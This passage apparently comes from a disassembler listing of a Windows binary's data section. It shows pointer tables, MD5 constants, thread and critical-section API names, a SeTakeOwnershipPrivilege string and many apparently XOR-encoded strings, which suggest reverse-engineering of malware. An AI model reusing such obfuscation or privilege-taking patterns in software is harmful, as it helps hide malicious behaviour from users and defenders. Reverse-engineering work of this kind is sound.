sub_43A324+D4Dr ... dword_551250 dd 0 ; sub_43CAF7+1Ew ... dword_551254 dd 0 ; sub_43D76D+26Ar ... dword_551258 dd 0 ; sub_43E397+20r ... dword_55125C dd 0 ; sub_4428C5+22r ... dword_551260 dd 0 ; sub_443272+20r ... dword_551264 dd 0 ; sub_4427D3+26r ... dword_551268 dd 0 ; sub_446E05+22r ... dword_55126C dd 0 ; sub_441B17+13w ... dword_551270 dd 0 ; sub_445E1B+13w ... dword_551274 dd 0 ; sub_43D309+29r ... dword_551278 dd 0 ; sub_445885+26r ... dword_55127C dd 0 ; sub_43DD23+29r ... dword_551280 dd 0 ; sub_43EBF8+20r ... dword_551284 dd 0 ; sub_44322A+37w ... dword_551288 dd 0 ; sub_43FA48+24r ... dword_55128C dd 0 ; sub_440CD2+11Fw ... dword_551290 dd 0E860h, 0E9610000h, 2 dup(0)dword_5512A0 dd 0 ; sub_43F090+350w ... dword_5512A4 dd 0 ; sub_4424CE:loc_4424FFr ... off_5512A8 dd offset sub_43FA81 ; DATA XREF: sub_443F06+689o dd offset sub_441803 dd offset sub_441A78 dd offset sub_43E79B dd offset sub_44587D dd offset sub_443E26 dd offset sub_43EE88 dword_5512C4 dd 0 ; sub_442B82+160r ... off_5512C8 dd offset sub_43B556 ; DATA XREF: .data:off_5512E4o dd offset sub_43B53F dd offset sub_43D4E1 dd offset sub_43D713 dd offset sub_447513 dd offset sub_4432D0 dd offset sub_43B4E9 off_5512E4 dd offset off_5512C8 ; DATA XREF: sub_43E652+C0o ; sub_443B74+144o dword_5512E8 dd 0 ; sub_43E652+72r ... off_5512EC dd offset sub_445D93 ; DATA XREF: .data:off_551308o dd offset sub_4457CA dd offset sub_43D508 dd offset sub_44378D dd offset sub_43B537 dd offset sub_43E27C dd offset sub_43E652 off_551308 dd offset off_5512EC ; DATA XREF: sub_443B74:loc_443D34o aLeavecriticals db 'LeaveCriticalSection',0 ; DATA XREF: sub_43FFC1+2C9o aCreatethread db 'CreateThread',0 ; DATA XREF: sub_43FFC1+2DCo aEntercriticals db 'EnterCriticalSection',0 ; DATA XREF: sub_43FFC1+300o aInitializecrit db 'InitializeCriticalSection',0 ; DATA XREF: sub_43FFC1+313o align 10h dword_551360 dd 0D76AA478h, 0E8C7B756h, 242070DBh, 0C1BDCEEEh, 0F57C0FAFh ; DATA XREF: sub_441052+2Fo dd 4787C62Ah, 0A8304613h, 0FD469501h, 698098D8h, 8B44F7AFh dd 0FFFF5BB1h, 895CD7BEh, 6B901122h, 0FD987193h, 0A679438Eh dd 49B40821h dword_5513A0 dd 0F61E2562h, 0C040B340h, 265E5A51h, 0E9B6C7AAh, 0D62F105Dh ; DATA XREF: sub_441052+3Fo dd 2441453h, 0D8A1E681h, 0E7D3FBC8h, 21E1CDE6h, 0C33707D6h dd 0F4D50D87h, 455A14EDh, 0A9E3E905h, 0FCEFA3F8h, 676F02D9h dd 8D2A4C8Ah dword_5513E0 dd 0FFFA3942h, 8771F681h, 6D9D6122h, 0FDE5380Ch, 0A4BEEA44h ; DATA XREF: sub_441052+52o dd 4BDECFA9h, 0F6BB4B60h, 0BEBFBC70h, 289B7EC6h, 0EAA127FAh dd 0D4EF3085h, 4881D05h, 0D9D4D039h, 0E6DB99E5h, 1FA27CF8h dd 0C4AC5665h dword_551420 dd 0F4292244h, 432AFF97h, 0AB9423A7h, 0FC93A039h, 655B59C3h ; DATA XREF: sub_441052+65o dd 8F0CCC92h, 0FFEFF47Dh, 85845DD1h, 6FA87E4Fh, 0FE2CE6E0h dd 0A3014314h, 4E0811A1h, 0F7537E82h, 0BD3AF235h, 2AD7D2BBh dd 0EB86D391h off_551460 dd offset loc_446C3A ; DATA XREF: sub_446AA8+18Br dd offset loc_446C45 dd offset loc_446C9B dd offset loc_446CF7 dword_551470 dd 4, 6A0028h, 6C0067h, 71hdword_551480 dd 0B1DA0006h, 0ACF7ABB1h db 0A2h, 0 word_55148A dw 6 ; DATA XREF: sub_446ED7+1F0o dd 0A2B8B8D3h, 0ABA5FEh dword_551494 dd 0A5CE0006h, 0B8E3BFA5h db 0B6h, 0 word_55149E dw 8 ; DATA XREF: sub_446ED7+107o dd 2B075174h, 510C0019h db 1, 0 word_5514AA dw 6 ; DATA XREF: sub_446ED7+C5o dd 68727219h, 616F34h dword_5514B4 dd 3E1B0007h, 6F764468h db 63h, 2Ah, 0 byte_5514BF db 0Ch ; DATA XREF: sub_446E05+B1o dd 80ADE900h, 8CAE999Ah, 9B88B99Dh db 88h, 84h, 0 byte_5514CF db 0Bh ; DATA XREF: sub_446E05+95o dd 0A691C700h, 0A9A6AEB5h, 0AEA98EB3h db 0B3h, 0 word_5514DE dw 0Ch ; DATA XREF: sub_446E05+79o aLsglduijpls db '꼋˜ƒ‹„©†‹˜',0 word_5514EE dw 0Eh ; DATA XREF: sub_446E05+5Do dd 0E3E9C390h, 0FFFCFCD1h, 0E2E4C3F3h, 0F7FEF9h dword_551500 dd 0D685000Dh, 0F7C3F6FCh, 0F1D6E0E0h, 0E2EBECF7h ; DATA XREF: sub_446E05:loc_446E46o db 0 byte_551511 db 0Ch, 0, 3Ah ; DATA XREF: sub_446E05+2Ao dd 5B5F5655h, 8094E4Fh, 56565E14h db 0 byte_551521 db 0Ch, 0, 24h ; DATA XREF: sub_446E05+1o dd 4541484Bh, 16175051h, 4848400Ah db 0 byte_551531 db 4, 0, 42h ; DATA XREF: sub_446250+4BAo aL6 db 'l',0 asc_551539 db 0Bh,0 ; DATA XREF: sub_446250+43Co aTISiRkvv db 'Î’¾ë»‘ë»àª¢¢',0 dword_551548 dd 0F1A70001h db 0 byte_55154D db 1, 0, 86h ; DATA XREF: sub_4460DD+21o db 0D3h, 0 word_551552 dw 17h ; DATA XREF: sub_445E8D:loc_446094o aSSSSSsSSSST db '¼™ß™ß™ß™ß‘™ß™ß™ß™ß™ß’ßÓÑ',0 byte_55156D db 16h, 0, 8Dh ; DATA XREF: sub_445E8D+1C1o dd 2 dup(0EEA8EEA8h), 0A8A0EEA8h, 0A8EEA8EEh, 0A3EEA8EEh db 0FFh, 0F8h, 0 byte_551587 db 0Ah ; DATA XREF: sub_445E1B+27o dd 5B4E3D00h, 4E52625Eh, 51515913h db 0 byte_551595 db 0Ah, 0, 86h ; DATA XREF: sub_445E1B+1o dd 0D9E5E0F5h, 0E2A8F5E9h db 2 dup(0EAh), 0 byte_5515A3 db 4 ; DATA XREF: sub_445B7F:loc_445BB3o dd 0E6A08500h db 0BFh, 0D9h, 0 byte_5515AB db 10h ; DATA XREF: sub_445885+16Bo dd 0D7E0B200h, 0D7C7E3D5h, 0D3E4CBC0h, 0F7D7C7DEh db 0CAh, 0F3h, 0 byte_5515BF db 10h ; DATA XREF: sub_445885+156o dd 86B9F600h, 84A69893h, 85939599h, 9D99A285h db 93h, 98h, 0 byte_5515D3 db 13h ; DATA XREF: sub_445885+141o dd 94B6F100h, 9A9EA585h, 9FB89F94h, 9C839E97h, 9E988590h db 9Fh, 0 off_5515EA dd offset dword_49001C ; DATA XREF: sub_445885+12Co dw 2027h dd 2528203Dh, 1A2C3320h, 3B3C2A2Ch, 0D303D20h, 3B2A3A2Ch dd 263D3920h db 3Bh, 0 word_55160A dw 0Ch ; DATA XREF: sub_445885+117o dd 17062463h, 11061036h, 60E022Dh db 22h, 0 word_55161A dw 0Dh ; DATA XREF: sub_445885+102o dd 21231446h, 28233609h, 33F230Dh db 3Eh, 7, 0 byte_55162B db 1Ah ; DATA XREF: sub_445885+EDo dd 0C3F5A600h, 0C5C3F5D2h, 0D2CFD4D3h, 0D5C3E2DFh, 0D6CFD4C5h dd 0E9D4C9D2h, 0D4C3C8D1h db 0 byte_551649 db 12h, 0, 0C4h ; DATA XREF: sub_445885+D8o aGbCnacJeMlN db 'ƒ¡°— —±¦…±°¬«¶°½',0 byte_55165F db 10h ; DATA XREF: sub_445885+C3o dd 0A395C600h, 0AAAF80B2h, 0A5A395A3h, 0B2AFB4B3h db 0BFh, 87h, 0 byte_551673 db 15h ; DATA XREF: sub_445885+AEo dd 0C2E1AD00h, 0DDD8C6C2h, 0DBC4DFFDh, 0CAC8C1C4h, 0C1CCFBC8h dd 0ECC8D8h dword_55168C dd 0F5B20017h, 0DBE1C6D7h, 0D0C7E1D6h, 0DAC6C7F3h, 0C6DBC0DDh ; DATA XREF: sub_445885+99o dd 0C7DDF1CBh db 0DCh, 0C6h, 0 byte_5516A7 db 15h ; DATA XREF: sub_445885+84o db 0 db 5, 44h, 61h aOpvqqjnKuwlsli db 'opvqQjn`kUwlsli`b`v',0 asc_5516C0 db 0Bh,0 ; DATA XREF: sub_445885+6Fo aZmokdgMcmq db '(zMOkDG[McMQ',0 byte_5516CF db 19h ; DATA XREF: sub_445885+5Ao dd 0B391D600h, 0B2BF85A2h, 0B8B3B29Fh, 0BFB0BFA2h, 0A397A4B3h dd 0A4B9BEA2h, 0AFA2BFh dword_5516EC dd 14470019h, 22143322h, 2E353224h, 22033E33h, 2E352434h ; DATA XREF: sub_445885:loc_4458CAo dd 35283337h, 2B242603h db 0 byte_551709 db 0Ch, 0, 0CDh ; DATA XREF: sub_445885+2Eo dd 0ACBBA9ACh, 0FFFEA4BDh, 0A1A1A9E3h db 0 byte_551719 db 0Ch, 0, 0EEh ; DATA XREF: sub_445885+1o aPkspuzKvv db 'Š˜‡İÜÀŠ‚‚',0 byte_551729 db 1, 0, 14h ; DATA XREF: sub_44496E+DB6o db 68h, 0 word_55172E dw 2 ; DATA XREF: sub_44496E+D8Ao dd 0ADF1D1h dword_551734 dd 0C6FC0001h db 0 byte_551739 db 4, 0, 1Bh ; DATA XREF: sub_44496E:loc_445621o aN db ';>n!',0 byte_551741 db 1, 0, 9 ; DATA XREF: sub_44496E+746o db 75h, 0 word_551746 dw 0Ah ; DATA XREF: sub_44496E+4FCo dd 770D1131h, 0B7C637Eh, 0F4414h dword_551754 dd 0D4F4000Bh, 0B5A6B2C8h, 0D1CEB1B9h db 81h, 0CAh, 0 byte_551763 db 0Ah ; DATA XREF: sub_44496E+303o dd 0BBA78700h, 0CAC6D5C1h, 0B9CABDC2h, 0 dword_551774 dd 5, 7C000Ah, 66006Bh, 6F007Fh, 0dword_551788 dd 4, 52003Ch, 51005Dh, 59hdword_551798 dd 0E2E0002h db 0Eh, 0 word_55179E dw 1 ; DATA XREF: sub_4447CD:loc_4448C9o db 0BBh, 94h, 0 byte_5517A3 db 12h ; DATA XREF: sub_4447CD:loc_444818o dd 0DEC0AD00h, 0DEC1D9CEh, 0CCD9DEF2h, 0CFDED8D9h, 9F9EDFCCh db 0 byte_5517B9 db 0Eh, 0, 0FEh ; DATA XREF: sub_4447CD+10o aKqIcrSiTqnn db 'ªŸœ©—𑉽’Ÿ',0 byte_5517CB db 3 ; DATA XREF: sub_443F06+32Eo dd 71251E00h db 23h, 0 word_5517D2 dw 4 ; DATA XREF: sub_443F06:loc_4441A9o dd 716D251Eh db 23h, 0 word_5517DA dw 4 ; DATA XREF: sub_443F06:loc_444170o dd 0C198C7FCh db 0D6h, 0 word_5517E2 dw 4 ; DATA XREF: sub_443F06+224o dd 0CF96C9F2h, 0D3h dword_5517EC dd 3, 590010h, 57005Dh db 2 dup(0) word_5517FA dw 1 ; DATA XREF: sub_443DB2+46o db 96h, 0CAh, 0 byte_5517FF db 0Fh ; DATA XREF: sub_443843+13Eo dd 7B2D0800h, 646E6C54h, 3B727D2Dh, 646C263Ah db 64h, 0 word_551812 dw 10h ; DATA XREF: sub_443843+10Do dd 98B7E1C4h, 0E1B6B7B3h, 0F7B0BEB1h, 0A8A0EAF6h db 0A8h, 0 word_551826 dw 0Bh ; DATA XREF: sub_443843+A2o dd 8EA1F7D2h, 0A7F7A1F7h, 0A1BEBCFCh db 0 byte_551835 db 0Fh, 0, 0B6h ; DATA XREF: sub_443843+74o aUUEds db '“ÅêİĞ“ÃÚÌ…„˜ÒÚÚ',0 dword_551848 dd 8BAE0004h, 0F69C80hdword_551850 dd 0CDE80001h db 0 byte_551855 db 2, 0, 0FAh ; DATA XREF: sub_443795:loc_4437DCo db 0DFh, 99h, 0 byte_55185B db 9 ; DATA XREF: sub_4432D8+1E7o dd 0CCEEBE00h, 0DDCBDAD1h, 0DAF7CAh unk_551868 db 2Ch ; , ; DATA XREF: sub_4432D8+1D7o align 2 dw 5506h aI@rqgtczkoetiu db 'I@RQGTCZKoetiui`rZQohbiqu&HRZEsttchrPctuoih',0 asc_551898 db 9,0 ; DATA XREF: sub_4432D8+179o dw 2F7Fh dd 0A1B100Dh, 1B360B1Ch db 0 byte_5518A5 db 29h, 0, 1 ; DATA XREF: sub_4432D8+169o aRnguv@sdLhbsnr db 'RNGUV@SD]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno',0 word_5518D2 dw 1 ; DATA XREF: sub_4432D8+14Do db 0A4h, 8Ah, 0 byte_5518D7 db 4 ; DATA XREF: sub_4432D8+EAo dd 0E4ECC100h db 99h, 0EFh, 0 byte_5518DF db 3 ; DATA XREF: sub_4432D8+9Do dd 6B325100h db 0Dh, 0 word_5518E6 dw 8 ; DATA XREF: sub_4432D8:loc_44333Do dd 45F0F2Ah, 0F045F0Fh db 5Fh, 0 word_5518F2 dw 2 ; DATA XREF: sub_4432D8+50o dd 0E7FDB3h dword_5518F8 dd 0CAF30002h db 0ABh, 0 word_5518FE dw 0Bh ; DATA XREF: sub_443272:loc_4432B1o aKzmiMngfI db '(kZMI\MnGF\i',0 asc_55190D db 9,0 ; DATA XREF: sub_443272+28o aVgq db '±ÖÕØ‚ƒŸÕİİ',0 asc_55191A db 9,0 ; DATA XREF: sub_443272+1o aS47A7?? db 'S47:`a}7??',0 asc_551927 db 0Dh,0 ; DATA XREF: sub_442FB0:loc_44318Fo db 12h, 61h, 6Bh dd 7F776661h, 747D6062h, 777E7Bh dword_551938 dd 187D0006h, 1E140B0Fh db 18h, 0 word_551942 dw 1 ; DATA XREF: sub_442FB0+105o db 0Eh, 2Ah, 0 byte_551947 db 6 ; DATA XREF: sub_442FB0:loc_443055o dd 414B1800h, 555D4C4Bh db 0 byte_551951 db 8, 0, 0Fh ; DATA XREF: sub_442FB0:loc_44300Fo aJYflj db '/\J]YFLJ',0 a@ db '@',0 ; DATA XREF: sub_442E73:loc_442EABo db 18h db 59h ; Y db 5Ah, 5Bh, 5Ch db 5Dh ; ] db 5Eh, 5Fh, 50h db 51h ; Q db 52h, 53h, 54h db 55h ; U db 56h, 57h, 48h db 49h ; I db 4Ah, 4Bh, 4Ch db 4Dh ; M db 4Eh, 4Fh, 40h db 41h ; A db 42h, 79h, 7Ah db 7Bh ; { db 7Ch, 7Dh, 7Eh db 7Fh ; aPqrstuvwhijklm db 'pqrstuvwhijklmno`ab()*+,-./ !37',0 align 4 asc_5519A4: ; DATA XREF: sub_442B82+28Fo dw 9 unicode 0, <>,0 aI db '¨',0 db 'Ê',0 db 'Í',0 db 'Î',0 db 'Ç',0 db 'Ú',0 db 'Í',0 aA db 'í',0 db 'Æ',0 db 'Ì',0 db 2 dup(0) word_5519BE dw 20h ; DATA XREF: sub_442B82+1F9o dd 70237550h, 6D332223h, 20242438h, 757F7F6Ah, 6D386F23h dd 26762375h, 7625756Dh, 23756D20h db 6Eh, 0 word_5519E2 dw 43h ; DATA XREF: sub_442B82+16Eo dd 21722401h, 3C627372h, 71757569h, 242E2E3Bh, 3C693E72h dd 68277224h, 2474243Ch, 3C6E2772h, 67277424h, 2762243Ch dd 243C6872h, 6E722772h, 2774243Ch, 243C6D75h, 3C772774h dd 65277424h, 3F72243Ch db 0 byte_551A29 db 10h, 0, 0BDh ; DATA XREF: sub_442B82+F0o aSAAsTvAsG db '˜ÎÎÏŞ€˜Î’‚Û€˜Şƒ',0 byte_551A3D db 1Eh, 0, 49h ; DATA XREF: sub_442B82+91o aU_iTyi_TyiTy db 'u $.i> -=!tyi!, .!=tyi+&;-,;ty',0 asc_551A5F db 7,0 ; DATA XREF: sub_442B82+60o db 0C7h, 0FBh, 0A5h dd 0A5E8FBF9h db 0F9h, 0 word_551A6A dw 0Bh ; DATA XREF: sub_4428C5+224o dd 1D0B236Eh, 0B090F1Dh, 2F16012Ch db 0 byte_551A79 db 0Dh, 0, 74h ; DATA XREF: sub_4428C5+20Fo dd 71130h, 230D1B06h, 1B101A1Dh db 3, 0 word_551A8A dw 0Eh ; DATA XREF: sub_4428C5+1FAo aAZdDzLzt db 'Ó€¶§„º½·¼¤‡¶«§’',0 dword_551A9C dd 0B4E0012h, 0A233B20h, 3A253D2Bh, 27193E21h, 39212A20h ; DATA XREF: sub_4428C5+1E5o asc_551AB0: ; DATA XREF: sub_4428C5+1D0o unicode 0, <=> dw 0Ah dw 0ACE1h aOcdIpeoc db '—„¶ˆ…–',0 dword_551AC0 dd 54100010h, 71606379h, 5D787364h, 71636375h, 517577h ; DATA XREF: sub_4428C5+1BBo dword_551AD4 dd 81C6000Bh, 0A38BB2A3h, 0A1A7B5B5h db 0A3h, 87h, 0 byte_551AE3 db 9 ; DATA XREF: sub_4428C5+191o dd 77551200h, 7C7B4566h, 657D76h dword_551AF0 dd 0B0F7000Dh, 9EA08392h, 80989399h, 839492A5h db 0 byte_551B01 db 0Fh, 0, 0E6h ; DATA XREF: sub_4428C5+167o aEzkkPivisFiez db '¥‡ŠŠ±ˆ‚‰‘¶”‰…§',0 dword_551B14 dd 88CF000Eh, 0A698BBAAh, 0B8A0ABA1h, 0BBB7AA9Bh ; DATA XREF: sub_4428C5+152o db 8Eh, 0 word_551B26 dw 0Dh ; DATA XREF: sub_4428C5+13Do dd 0F1E3C7Bh, 81A1738h, 161A3508h db 1Eh, 3Ah, 0 byte_551B37 db 0Eh ; DATA XREF: sub_4428C5+128o dd 4C7A2900h, 47407E5Dh, 655E464Dh, 684E4746h db 0 byte_551B49 db 0Ch, 0, 0EAh ; DATA XREF: sub_4428C5+113o aPdozpsslnpl db '¹„§™™‹«',0 byte_551B59 db 10h, 0, 0D3h ; DATA XREF: sub_4428C5+FEo aZbAZUAa db '‡¡²½ ¿²§¶¶ ²´¶',0 asc_551B6D db 8,0 ; DATA XREF: sub_4428C5+E9o aXAsMiac db 'å¶€‘±Œˆ€—',0 asc_551B79 db 8,0 ; DATA XREF: sub_4428C5+D4o aMJxqKm db '>m[JxQ]KM',0 byte_551B85 db 0Eh, 0, 0F8h ; DATA XREF: sub_4428C5+BFo aKaqslmakFsll db 'ªŸ‘‹ŒŠ»”™‹‹¹',0 asc_551B97 db 0Ah,0 ; DATA XREF: sub_4428C5+AAo db 80h, 0D3h, 0E8h dd 0E9D7F7EFh, 0F7EFE4EEh db 0 byte_551BA5 db 0Dh, 0, 15h ; DATA XREF: sub_4428C5+95o aSQbQzbpmt db 'S|{qB|{qzbPmT',0 word_551BB6 dw 0Fh ; DATA XREF: sub_4428C5+80o dd 35221350h, 7352431h, 3F343E39h, 11281527h db 0 byte_551BC9 db 13h, 0, 45h ; DATA XREF: sub_4428C5+6Bo dd 3312002h, 2220372Ah, 2B302A37h, 2B2C1221h, 322A21h dword_551BE0 dd 0B7F0000Eh, 99A78495h, 879F949Eh, 979E9FBCh db 0B1h, 0 word_551BF2 dw 0Eh ; DATA XREF: sub_4428C5:loc_442906o dd 9596B7F3h, 979D9AA4h, 81A3849Ch, 0B2909Ch dword_551C04 dd 90E5000Ah, 0D6978096h, 8981CBD7h db 89h, 0 word_551C12 dw 0Ah ; DATA XREF: sub_4428C5+1o dd 0BFA9AFDAh, 0F4E8E9A8h, 0B6B6BEh dword_551C20 dd 0CA89000Dh, 0FAE8DDE6h, 0E4ECC4E2h, 0ECECFBCFh ; DATA XREF: sub_4427D3+D1o db 0 byte_551C31 db 0Bh, 0, 0C0h ; DATA XREF: sub_4427D3+B5o aIEBmzxid db '‰³…±µ¡¬‡•‰„',0 dword_551C40 dd 2410010h, 2433022Eh, 8243520h, 2035322Fh, 24222Fh ; DATA XREF: sub_4427D3+99o dword_551C54 dd 0DA99000Fh, 0DDD0CAD5h, 0F4F6EBDFh, 0F0EBEDCAh ; DATA XREF: sub_4427D3+7Do db 0F7h, 0FEh, 0 byte_551C67 db 0Ch ; DATA XREF: sub_4427D3+61o dd 19357600h, 21F183Fh, 1F1A171Fh db 0Ch, 13h, 0 byte_551C77 db 0Eh ; DATA XREF: sub_4427D3:loc_442818o dd 3D115200h, 3C3B3C07h, 333B263Bh, 37283B3Eh db 0 byte_551C89 db 9, 0, 7Bh ; DATA XREF: sub_4427D3+2Eo dd 481E1714h, 171F5549h db 17h, 0 word_551C96 dw 9 ; DATA XREF: sub_4427D3+1o dd 999093FCh, 98D2CECFh db 2 dup(90h), 0 byte_551CA3 db 0 ; DATA XREF: sub_44250C:loc_442768o db 0, 5Eh, 0 byte_551CA7 db 1 ; DATA XREF: sub_44250C:loc_4426F7o dd 0D6AE00h dword_551CAC dd 124E0001h db 0 byte_551CB1 db 1, 0, 54h ; DATA XREF: sub_441D1A:loc_442267o db 74h, 0 word_551CB6 dw 0 ; DATA XREF: sub_441D1A+504o db 0F1h, 0 word_551CBA dw 13h ; DATA XREF: sub_441D1A+4D2o aTMgaozCnGccknr db 'â·Œƒ€‡Â–ƒ—–Š‹˜‡',0 a5 db '5',0 ; DATA XREF: sub_441D1A+4C2o db 0DAh dd 0B8BBB48Fh, 0AEFABFB6h, 0AFBBFAB5h, 0A8B5B2AEh, 0FABFA0B3h dd 9493FAF7h, 88889599h, 0FA8E999Fh, 0F494938Ah, 0BFB68AFAh dd 0F6BFA9BBh, 0A8B5B9FAh, 0AEB9BFA8h db 0F4h, 0 word_551D0A dw 1 ; DATA XREF: sub_441D1A:loc_442028o db 0CAh, 0E7h, 0 byte_551D0F db 1Eh ; DATA XREF: sub_441D1A+2B4o dd 1E227200h, 17011317h, 1701525Eh, 611171Eh, 20A3752h dd 613001Bh, 521C1D1Bh, 13172Bh db 0 byte_551D31 db 1, 0, 3Dh ; DATA XREF: sub_441D1A:loc_441F59o db 1Dh, 0 word_551D36 dw 1Fh ; DATA XREF: sub_441D1A+1E3o aUpjvJquJpjaUjK db 'Ó¯¦¢°¦ïã°¦¯¦ ·ã†»³ª±¢·ª¬ã¬·«',0 byte_551D59 db 12h, 0, 0D0h ; DATA XREF: sub_441B17+5Ao aGSgcAvDD db 'ƒ¶³™£–¹¼µ€¢¿¤µ³¤µ´',0 asc_551D6F db 7,0 ; DATA XREF: sub_441B17+31o db 3Dh, 4Eh, 5Bh dd 5159135Eh db 51h, 0 word_551D7A dw 7 ; DATA XREF: sub_441B17+1o dd 55504536h, 5A5A5218h db 0 byte_551D85 db 1, 0, 0C0h ; DATA XREF: sub_44181A+205o db 0BCh, 0 word_551D8A dw 5Ah ; DATA XREF: sub_44181A+D5o dd 0D3D3F1B0h, 0C4DEC5DFh, 0DDD1FE90h, 0FFE093D5h, 0E39083E0h dd 0D5C6C2D5h, 0FDE393C2h, 0E390E0E4h, 0D5C6C2D5h, 0FDE393C2h dd 0F490E0E4h, 0DCC0C3D9h, 0FE90C9D1h, 93D5DDD1h, 0E0E4FDE3h dd 0D1DDF590h, 0F190DCD9h, 0D5C2D4D4h, 0E093C3C3h, 9083E0FFh dd 0C2D5C3E5h, 0DDD1FE90h, 9393D5h dword_551DE8 dd 1B4B000Eh, 6B781B04h, 38382A1Bh, 2F39243Ch db 79h, 0 word_551DFA dw 39h ; DATA XREF: sub_44181A:loc_441838o dd 646D7122h, 70637576h, 4B6F7E67h, 514D5041h, 7E56444Dh dd 47564C6Bh, 56474C50h, 41416302h, 564C574Dh, 4C436F02h dd 50474543h, 4141637Eh, 564C574Dh, 12077E51h db 1Ah, 5Ah, 0 aSetakeownershi db 'SeTakeOwnershipPrivilege',0 ; DATA XREF: sub_440CD2+1C2o dword_551E50 dd 0B89D0005h, 0C1EEB8EEh db 0 byte_551E59 db 5, 0, 0FBh ; DATA XREF: sub_44077A+1F2o aIIz db 'ވވ§',0 word_551E62 dw 3 ; DATA XREF: sub_44077A+C9o dd 550C5A7Fh db 0 byte_551E69 db 4, 0, 4 ; DATA XREF: sub_44077A+6Eo aGX db '!g>X',0 byte_551E71 db 1, 0, 0E0h ; DATA XREF: sub_440364+3A5o db 9Ch, 0 word_551E76 dw 1 ; DATA XREF: sub_440364+34Bo db 0E6h, 9Ah, 0 byte_551E7B db 19h ; DATA XREF: sub_440364+2EEo dd 0C5C28B00h, 0C4C8DFCEh, 0D8ABC6C6h, 0EEFDF9EEh, 0EADBABF9h dd 0E4FCF8F8h, 0F8EFF9h dword_551E98 dd 0F78B0001h db 0 byte_551E9D db 5, 0, 0ADh ; DATA XREF: sub_43FB03+2CCo dd 88F1DE88h db 0DEh, 0 word_551EA6 dw 5 ; DATA XREF: sub_43FB03+25Eo aTqQ db 'tQ',7,'(Q',7,0 byte_551EAF db 4 ; DATA XREF: sub_43FB03+17o dd 81D7F200h db 0AEh, 0D8h, 0 byte_551EB7 db 1 ; DATA XREF: sub_43F41A+284o dd 654400h dword_551EBC dd 0DBF10001h db 0 byte_551EC1 db 4, 0, 2Eh ; DATA XREF: sub_43F41A+1F3o a___ db '*...',0 byte_551EC9 db 1, 0, 2Ch ; DATA XREF: sub_43F090+333o db 0Fh, 0 word_551ECE dw 1 ; DATA XREF: sub_43F090+2DEo db 6Fh, 4Ch, 0 byte_551ED3 db 1 ; DATA XREF: sub_43F090+25Eo dd 0E9CA00h dword_551ED8 dd 0A3CB0007h, 0F1BBBFBFh db 2 dup(0E4h), 0 byte_551EE3 db 1 ; DATA XREF: sub_43F090+1F2o dd 200300h dword_551EE8 dd 335B0007h, 612B2F2Fh db 2 dup(74h), 0 byte_551EF3 db 0Bh ; DATA XREF: sub_43F090+10o dd 8289EA04h, 8F82898Fh, 8F989A84h, 83C49999h, 0C9858C84h dd 8E86858Dh, 8686859Ah, 878589C4h, 9E8483C9h, 8E86858Dh dd 878589C4h, 9D9D9DC9h, 988889C4h, 0C99F98C4h, 0C49D9D9Dh dd 82899C8Bh, 0C481898Fh, 99C99F98h, 8798859Eh, 0C4938B9Ah dd 0C9878589h, 9E9F9889h, 84C49A85h, 8F84C99Fh, 8D8FC49Dh dd 8589C48Dh, 9D9DC987h, 859AC49Dh, 99839084h, 99878B89h dd 878589C4h, 899C8BC9h, 81898F82h, 0C99F98C4h, 82899C8Bh dd 0C481898Fh, 0C9908388h, 0C49D9D9Dh, 84838888h, 0C99F98C4h dd 9E998B87h, 92C7988Fh, 878589C4h, 9D9D9DC9h, 84859AC4h dd 89998390h, 0C499878Bh, 0C9878589h, 0C49D9D9Dh, 81848B88h dd 848B88C7h, 0C78F9F9Bh, 8B848B89h, 89C48B8Eh, 9D9DC98Bh dd 859AC49Dh, 99839084h, 99878B89h, 878589C4h, 9D9D9DC9h dd 858788C4h, 878589C4h, 938B9AC9h, 0C4868B9Ah, 0C9878589h dd 938B888Fh, 878589C4h, 9D9D9DC9h, 848B88C4h, 878C8581h dd 989F8E8Bh, 8589C48Bh, 9D9DC987h, 8389C49Dh, 89C48988h dd 9DC98785h, 9CC49D9Dh, 98C4889Eh, 9D9DC99Fh, 9D89C49Dh dd 81848B88h, 878589C4h, 86858DC9h, 86859A8Eh, 8589C486h dd 9D9DC987h, 859AC49Dh, 99839084h, 99878B89h, 878589C4h dd 9D9D9DC9h, 888787C4h, 0C481848Bh, 9DC99F98h, 9FC49D9Dh dd 998B8384h, 879F989Eh, 0C99F98C4h, 8E86858Dh, 8686859Ah dd 878589C4h, 9D9D9DC9h, 84859AC4h, 89998390h, 0C499878Bh dd 0C9878589h, 0C49D9D9Dh, 8698859Dh, 848B888Eh, 9885C481h dd 9D9DC98Dh, 8B89C49Dh, 8E838E84h, 9C8F9E8Bh, 8C83988Fh dd 0C4988F83h, 0C9878589h, 0C49D9D9Dh, 9084859Ah, 8B899983h dd 89C49987h, 9DC98785h, 88C49D9Dh, 8581848Bh, 8E84838Ch dd 89C48B83h, 9DC98785h, 83C49D9Dh, 848B8889h, 9F98C481h dd 899C8BC9h, 81898F82h, 0C99F98C4h, 0C49D9D9Dh, 8E848F9Ch dd 84999885h, 0C48F878Bh, 9DC9999Dh, 81C49D9Dh, 98C48887h dd 9D9DC99Fh, 8F84C49Dh, 8D8B879Eh, 8F9E9983h, 8589C498h dd 8B81C987h, 908B819Ch, 9E848F89h, 89C4988Fh, 9DC98785h dd 9CC49D9Dh, 858E848Fh, 8B849998h, 9DC48F87h, 9387C999h dd 83868485h, 898B8F84h, 849F8589h, 0C4D8999Eh, 8F88888Bh dd 9E8B8493h, 8B848583h, 8589C486h, 0C9819FC4h, 83868485h dd 88C78F84h, 8483999Fh, 0C499998Fh, 93858686h, 999E998Eh dd 8589C488h, 0C9819FC4h, 0C49D9D9Dh, 8B86868Bh, 8B888B82h dd 848B888Eh, 8589C481h, 9D9DC987h, 8898C49Dh, 8589C489h dd 9D9DC987h, 859AC49Dh, 99839084h, 99878B89h, 878589C4h dd 9D9D9DC9h, 9982C4DBh, 89C48988h, 8D81C98Bh, 868F9888h dd 8689928Bh, 98C4889Fh, 8B93C99Fh, 0C4858887h, 0C9908388h dd 858E8381h, 8B88C799h, 98C48184h, 9D9DC99Fh, 8886C49Dh dd 98838E89h, 0C49E898Fh, 989F8B86h, 839E848Fh, 8B88848Bh dd 89C48184h, 8B88C98Bh, 8B868998h, 89C49993h, 9EC98785h dd 868B9E85h, 988C9386h, 8B888F8Fh, 84838184h, 8589C48Dh dd 9D9DC987h, 8884C49Dh, 8B89C489h, 88D9DFC9h, 0C481848Bh dd 0C9878589h, 0C49D9D9Dh, 8E848F9Ch, 84999885h, 0C48F878Bh dd 9DC9849Ch, 88C49D9Dh, 9EC788D8h, 9E999F98h, 878589C4h dd 9D9D9DC9h, 848F9CC4h, 9998858Eh, 